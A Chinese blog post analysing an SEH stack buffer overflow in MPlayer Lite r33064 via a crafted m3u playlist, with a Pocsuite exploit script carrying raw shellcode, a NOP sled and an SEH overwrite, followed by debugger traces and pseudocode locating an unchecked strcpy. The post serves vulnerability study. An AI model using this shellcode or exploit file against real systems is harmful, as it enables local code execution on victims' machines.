MPlayer Lite栈溢出漏洞(冬至快乐!)

作者:k0shl 转载请注明出处:http://whereisk0shl.top

今天是冬至,祝大家冬至快乐,记得吃饺子!最近这几天更新的漏洞多数和播放器相关,其实播放器属于比较好fuzz的类型,只要构造对应播放格式的文件,然后用播放器打开就行了,以前分析的漏洞相对简单也比较基础,比较适合入门的时候练习。

漏洞说明


软件下载:
https://www.exploit-db.com/apps/aa7e6d4ad9054e26df931bd5bda1e636-mplayer_lite_r33064.7z

PoC:

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '71494'  # ssvid
    version = '1.0'
    author = ['k0Sh1血战排行榜']
    vulDate = '2014-07-01'
    createDate = '2015-12-16'
    updateDate = '2015-12-16'
    references = ['http://www.sebug.net/vuldb/ssvid-71494']
    name = 'MPlayer Lite r33064 - m3u SEH Overflow Exploit'
    appPowerLink = 'https://www.exploit-db.com/apps/aa7e6d4ad9054e26df931bd5bda1e636-mplayer_lite_r33064.7z'
    appName = 'MPlayer'
    appVersion = 'v3.0'
    vulType = 'Local Code Execution'
    desc = '''
       1、生成文件名为MyPlayer_exploit.m3u(攻击)和MyPlayer_poc.m3u(验证样本)
       需要自定义名称可以在下面自行修改
       2、attack中的shellcode部分部分地址需要调整
       3、请加上-u http://127.0.0.1,pocsuite必须加上,实际不起作用
    '''

    samples = ['']

    def _attack(self):
        result = {}
        shellcode = '\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1'
        shellcode +='\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30'
        shellcode +='\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa'
        shellcode +='\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96'
        shellcode +='\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b'
        shellcode +='\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a'
        shellcode +='\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83'
        shellcode +='\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98'
        shellcode +='\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61'
        shellcode +='\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05'
        shellcode +='\x7f\xe8\x7b\xca'
        junk = "\x90" * 100
        buff = junk
        buff += shellcode
        buff += "\x41" * 4708
        buff += "\x6B\x04\xFC\xDE"
        buff += "\x90" *15
        buff += "\xE9\xD4\xEB\xFF\xFF"
        buff += "\x90" * 400
        rst = open("MyPlayer_exploit.m3u",'w')
        rst.write(exploit)
        rst.close()
        #Write your code here

        return self.parse_output(result)

    def _verify(self):
        result = {}
        poc = "\x41" * 6000
        rst = open("MyPlayer_poc.m3u",'w')
        rst.write(poc)
        rst.close()
        #Write your code here

        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

这里PoC是我之前写的,用的是创宇的Pocsuite,如果想直接用python生成的话,可以提取相应的部分,然后用python的文件操作相关功能就行,最后生成的是一个m3u文件,用MPlayer打开之后可以引发播放器崩溃。


漏洞复现


此漏洞的问题出现在对MPlayer.exe生成的m3u文件格式长度没有进行严格的检查,导致构造恶意的http附加的url字符串,从而发生缓冲区溢出,下面对此漏洞进行详细分析。
首先加载样本m3u,触发此漏洞,附加OllyDBG,到达漏洞现场

0:000> g
(140.190): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0022e578 ebp=0022e598 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 jQuery214022141838655807078_1450266630676              ???

可以看到此时已经到达了一个不可读地点,观察一下堆栈调用

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
0022e574 7c9232a8 0022e660 0022ffe0 0022e67c 0x41414141
0022e598 7c92327a 0022e660 0022ffe0 0022e67c ntdll!RtlConvertUlongToLargeInteger+0x6a
0022e648 7c92e46a 00000000 0022e67c 0022e660 ntdll!RtlConvertUlongToLargeInteger+0x3c
0022e64c 00000000 0022e67c 0022e660 0022e67c ntdll!KiUserExceptionDispatcher+0xe

可以发现由于堆栈破坏,已经触发了异常处理流程,我们通过ida pro静态分析,在程序中找到了一处 strcpy函数,怀疑是此处利用造成的缓冲区溢出,触发了SEH异常处理流程


漏洞复现


我们来看看漏洞触发时的情况

0:002> g
(7e8.4f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=092d95a8 ecx=092da9f4 edx=41414141 esi=0040dea0 edi=00230000
eip=77c160c1 esp=0022e948 ebp=00abf494 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - 
msvcrt!strcat+0x81:
77c160c1 8917            mov     dword ptr [edi],edx  ds:0023:00230000=78746341

已经进入strcat函数中,我们查看一下此时edx的情况

0:000> dc edx
41414141  ???????? ???????? ???????? ????????  ????????????????
41414151  ???????? ???????? ???????? ????????  ????????????????
41414161  ???????? ???????? ???????? ????????  ????????????????
41414171  ???????? ???????? ???????? ????????  ????????????????
41414181  ???????? ???????? ???????? ????????  ????????????????
41414191  ???????? ???????? ???????? ????????  ????????????????
414141a1  ???????? ???????? ???????? ????????  ????????????????
414141b1  ???????? ???????? ???????? ????????  ????????????????

已经是畸形字符串了,我们来看看ebx的情况

0:000> dc ebx
092d95a8  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
092d95b8  74655320 676e6974 64415c73 696e696d   Settings\Admini
092d95c8  61727473 5c726f74 e6c3c0d7 4141415c  strator\....\AAA
092d95d8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d95e8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d95f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d9608  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d9618  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

我们需要从strcat回溯出来首先,我们来看一下00561760附近的代码

00561711 57              push    edi
00561712 56              push    esi
00561713 53              push    ebx
00561714 81ec8c040000    sub     esp,48Ch
0056171a 8b9c24a0040000  mov     ebx,dword ptr [esp+4A0h]
00561721 8d842468020000  lea     eax,[esp+268h]
00561728 c7842470040000d4488d00 mov dword ptr [esp+470h],offset mplayer+0x4d48d4 (008d48d4)
00561733 c7842474040000da488d00 mov dword ptr [esp+474h],offset mplayer+0x4d48da (008d48da)
0056173e c7842478040000e0488d00 mov dword ptr [esp+478h],offset mplayer+0x4d48e0 (008d48e0)
00561749 c784247c04000000000000 mov dword ptr [esp+47Ch],0
00561754 895c2404        mov     dword ptr [esp+4],ebx
00561758 890424          mov     dword ptr [esp],eax
0056175b e8a8032900      call    mplayer+0x3f1b08 (007f1b08)

可以看到,这里并没有进行常规的push操作,而是使用esp和esp+4存放eax和ebx,因此我们在执行strcpy之前,可以看到此时赋值的情况。

0:000> dd esp
0022e950  0022ebb8 092d95a8 00000000 00000000
0022e960  00000000 0022e974 00000000 7c930098
0022e970  092d5fd8 0022ea40 7c930021 003f06e8
0022e980  7c93003d 00000000 092d5fe0 0932bb90
0022e990  00400080 0022e984 00000000 0022ea14
0022e9a0  00000048 7c930308 ffffffff 0000000f

可以看到esp中第一个参数地址为0022ebb8,第二个参数地址为092d95a8,根据strcpy函数的情况

strcpy(Dest,Src)

可以看到此时092d95a8中存放的是源地址,0022ebb8中存放的是目的地址,我们看看此时寄存器的情况

0:002> g
Breakpoint 0 hit
eax=0022ebb8 ebx=092d95a8 ecx=00000000 edx=00000000 esi=0040dea0 edi=00000000
eip=0056175b esp=0022e950 ebp=00abf494 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mplayer+0x16175b:
0056175b e8a8032900      call    mplayer+0x3f1b08 (007f1b08)

其中eax,ebx分别对应第一个,第二个参数,那么我们具体看看源地址中存放的值

0:000> dc ebx
092d95a8  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
092d95b8  74655320 676e6974 64415c73 696e696d   Settings\Admini
092d95c8  61727473 5c726f74 e6c3c0d7 4141415c  strator\....\AAA
092d95d8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d95e8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d95f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d9608  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
092d9618  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到此时路径已经变成了畸形字符串的内容,正是此次拷贝造成了栈溢出,那么我们来看看程序到底哪里没有严格检查呢,继续回溯,我们看到文件路径了,我们查看一下这个漏洞的函数

sub_561710 proc near

var_49C= dword ptr -49Ch
var_498= dword ptr -498h
var_494= dword ptr -494h
var_490= dword ptr -490h
var_488= dword ptr -488h
var_484= dword ptr -484h
Dest= dword ptr -480h
var_478= byte ptr -478h
var_44C= byte ptr -44Ch
var_338= byte ptr -338h
var_234= byte ptr -234h
var_130= byte ptr -130h
var_2C= dword ptr -2Ch
var_28= dword ptr -28h
var_24= dword ptr -24h
var_20= dword ptr -20h
arg_0= dword ptr  4
arg_4= dword ptr  8
arg_8= dword ptr  0Ch
arg_C= dword ptr  10h

push    ebp
push    edi
push    esi

我们再查看一下堆栈的情况

0022E950   0022EBB8  |dest = 0022EBB8(目标地址)
0022E954   003FD5C8  \src = "http:// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...(源地址)
0022E958   00000000
0022E95C   00000000
0022E960   00000000
0022E964   0022E974
0022E968   00000000
0022E96C   7C930098  返回到 ntdll.7C930098 来自 ntdll.7C922AB0

可以看到异常字符串已经覆盖了,我们再看看此段函数的伪代码。

const CHAR *__cdecl sub_561710(const char *a1, int a2, int a3, int (__cdecl *a4)(_DWORD, _DWORD, _DWORD, _DWORD))
{
  v26 = (int)"*.idx";
  v27 = (int)"*.sub";
  v28 = (int)"*.rar";
  v29 = 0;
  strcpy(&v24, a1);

这里只列举了部分函数代码,可以看到此时a1传入时,并没有进行长度检查,而是直接传入strcpy中,导致了异常函数被触发,程序进入SEH处理流程,通过SEH指针的覆盖,控制程序流程。

Comments
Write a Comment
  • 1195011908 reply

    师傅你这个exp能成功运行吗?这个程序开了DEP不构造ROP的话没办法打吧

    • k0shl reply

      @1195011908 是的,这个应该只是POC,我在文中也提到运行触发崩溃,如果开了dep的话需要找一些rop gadget来bypass,主要时间太久远了,不记得当时复现的环境了